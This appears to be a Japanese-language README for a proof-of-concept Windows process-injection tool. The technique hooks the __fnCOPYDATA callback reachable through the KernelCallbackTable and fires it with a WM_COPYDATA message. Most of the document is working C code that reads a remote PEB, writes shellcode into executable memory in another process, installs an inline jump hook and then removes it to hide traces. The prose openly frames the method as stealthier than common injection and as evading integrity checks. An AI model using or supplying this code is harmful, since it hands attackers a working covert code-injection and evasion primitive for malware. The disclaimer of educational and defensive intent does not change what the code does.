
このリポジトリは、教育および防御的な研究目的でのみ提供されます。
これは、概念実証の文脈で Windows の内部コールバックディスパッチの仕組みと KernelCallbackTable に関連する制御フローの概念を示しています。
作者は誤用について一切の責任を負いません。
このインジェクション技術は、Windows グラフィカルサブシステム (win32k.sys) が使用するカーネルからユーザーへのコールバックディスパッチ経路を悪用して、リモートプロセス内でコード実行を獲得します。対象プロセスの Process Environment Block (PEB) を通じて KernelCallbackTable を特定することで、オペレーターはコールバックエントリを列挙し、GUI 関連のカーネル遷移中に呼び出される正規のユーザーモードルーチンを識別できます。
コールバックエントリをシェルコードアドレスで直接上書きする従来の KernelCallbackTable Injection を行う代わりに、この変形ではテーブルが参照する正規のコールバックターゲットをフックし、呼び出し時に攻撃者が制御するシェルコードへ実行をリダイレクトします。実行は既存かつ予期されたコールバック経路を通じて乗っ取られるため、この技術はリモートスレッド生成や APC-based injection などのより一般的なプリミティブに比べて、ステルス性の高い代替手段となり得ます。
Windows グラフィカルサブシステムは、カーネルモードから開始されるコールバックメカニズムを通じて、GUI 関連処理の一部をユーザーモードに委任します。win32k.sys が GUI プロセスのコンテキスト内で実行されるロジックを必要とする場合、KeUserModeCallback を呼び出して、両方の実行コンテキスト間の分離境界を維持しながら、カーネルモードからユーザーモードへの制御された遷移を実行します。
この遷移により、カーネルがグラフィカルサブシステムのコールバックをユーザーモードにディスパッチする正規の実行経路が確立されます。これは、提示された技術によって後に悪用される同じ経路です。
遷移が完了すると、実行は KiUserCallbackDispatcher に入ります。これは ntdll.dll のルーチンで、カーネルから提供されたコールバックインデックスを受け取り、対応するユーザーモードコールバックハンドラへの実行ディスパッチを担当します。このルーチンは、KeUserModeCallback を通じて開始されるすべてのコールバックの必須エントリポイントとして機能します。
すべてのコールバック解決がこのディスパッチャに集約されるため、KiUserCallbackDispatcher はカーネルのコールバック要求と、その最終的なユーザーモード実行の間の中心的なピボットとして機能します。
要求されたコールバックの宛先を解決するため、KiUserCallbackDispatcher は対象プロセスの PEB に格納されている KernelCallbackTable を参照します。各テーブルエントリには、特定のグラフィカルサブシステム操作に関連付けられたユーザーモードコールバックルーチンへのポインタが含まれており、通常は user32.dll に実装されています。
従来の KernelCallbackTable Injection 技術は、これらのエントリの1つ以上を直接上書きして実行をリダイレクトします。効果的ではありますが、テーブル自体を変更すると構造的な不整合が生じ、PEB またはコールバックテーブル内容の整合性検証によって簡単に検出される可能性があります。提示された技術は、テーブル構造を維持し、代わりにエントリが参照するコールバックターゲットを迂回させることでこれを回避します。
利用可能な KernelCallbackTable エントリのうち、__fnCOPYDATA は特に便利なトリガープリミティブを提供します。SendMessage() を介して WM_COPYDATA メッセージを送信することで外部から呼び出すことができるためです。これにより、特別なプロセス状態や複雑な操作を必要とせず、コールバックを決定的にトリガーできます。
自然にアクセス可能で頻繁に使用されるコールバックターゲットを活用することで、この技術はリダイレクト前に期待されるコールバックディスパッチチェーン内に完全にとどまりながら、信頼性の高い実行プリミティブを獲得します。

この技術は、対象プロセスを特定し、その PEB を読み取って KernelCallbackTable のアドレスを取得することから始まります。このテーブルから __fnCOPYDATA のコールバックポインタが解決されます。次に、リモートプロセス内に実行可能メモリが割り当てられ、攻撃者が制御するシェルコードがその領域に書き込まれます。変更に先立ち、正規のコールバックルーチンの元のバイト列は、後で復元できるよう保存されます。
次に、解決された __fnCOPYDATA ルーチンの先頭にインラインフックがインストールされ、そのプロローグが注入したシェルコードへの絶対ジャンプに置き換えられます。実行をトリガーするため、WM_COPYDATA メッセージが対象ウィンドウに送信され、Windows グラフィカルサブシステムが標準のカーネルからユーザーへのコールバックチェーンを通じて __fnCOPYDATA をディスパッチします。実行が完了すると、元のコールバックバイト列が復元され、プロセスの安定性が維持され、残存する変更痕跡が軽減されます。
KernelCallbackTable は PEB 内のオフセット 0x58 にあります:

これを取得するには、次のロジックを使用します:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
このコードは、まず NtQueryInformationProcess を ProcessBasicInformation 情報クラスで呼び出して PROCESS_BASIC_INFORMATION 構造体を入力し、PebBaseAddress フィールドを通じてリモートプロセスの PEB アドレスを公開します。
次に、NtReadVirtualMemory を使用してリモートの PEB をローカルの PEB 構造体に読み込み、プロセス環境に格納されている KernelCallbackTable ポインタを抽出できるようにします。コールバックテーブルが存在することを検証した後、2 回目の NtReadVirtualMemory 呼び出しでリモートの KERNELCALLBACKTABLE 構造体をローカルメモリにコピーし、後続の迂回のために __fnCOPYDATA などのコールバックターゲットを直接解決できるようにします。

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory はリモートプロセス内に実行可能メモリを予約し、そのベースアドレスを remoteShellcodeAddr を通じて返します。割り当てサイズはシェルコードバッファの長さから導出されます。
NtWriteVirtualMemory は次にシェルコードを割り当てられた領域にコピーし、コールバックの迂回を通じて後で実行されるようにペイロードを対象プロセス内にステージングします。
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote は、元の関数とデトゥア(迂回先)のアドレスを INLINEHOOKTABLE 構造体に格納することで、リモートのコールバックターゲットを迂回できるように準備します。NtReadVirtualMemory で対象ルーチンの先頭バイトを読み取って元のコールバックプロローグを保存し、その後 NtProtectVirtualMemory を使用してその領域の保護を PAGE_EXECUTE_READWRITE に変更し、安全にパッチを適用できるようにします。
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote は、注入されたシェルコードに実行をリダイレクトする絶対 x64 ジャンプスタブ (mov r10, <detour>; jmp r10) を構築します。次に、このジャンプスタブは NtWriteVirtualMemory を介して対象のコールバックルーチンの先頭に書き込まれ、インラインフックが効果的にインストールされます。
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote は、INLINEHOOKTABLE 構造体に保存されているプロローグバイト列を書き戻すことで、元のコールバックルーチンを復元します。次に、NtProtectVirtualMemory を使用してパッチ適用領域の元のメモリ保護属性を再設定し、インラインフックを削除してコールバックターゲットを初期状態に戻します。
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
実行をトリガーするため、SendMessageW を介して対象ウィンドウに WM_COPYDATA メッセージが送信され、Windows コールバックディスパッチャは通常のカーネルからユーザーへのコールバックパスを通じてフックされた __fnCOPYDATA ルーチンを呼び出します。実行が完了すると、RemoveHookRemote が元のコールバックバイト列を復元し、プロセスの安定性を維持します。
ロジックが実装されると、概念実証を実行して次の結果を得ることができます:
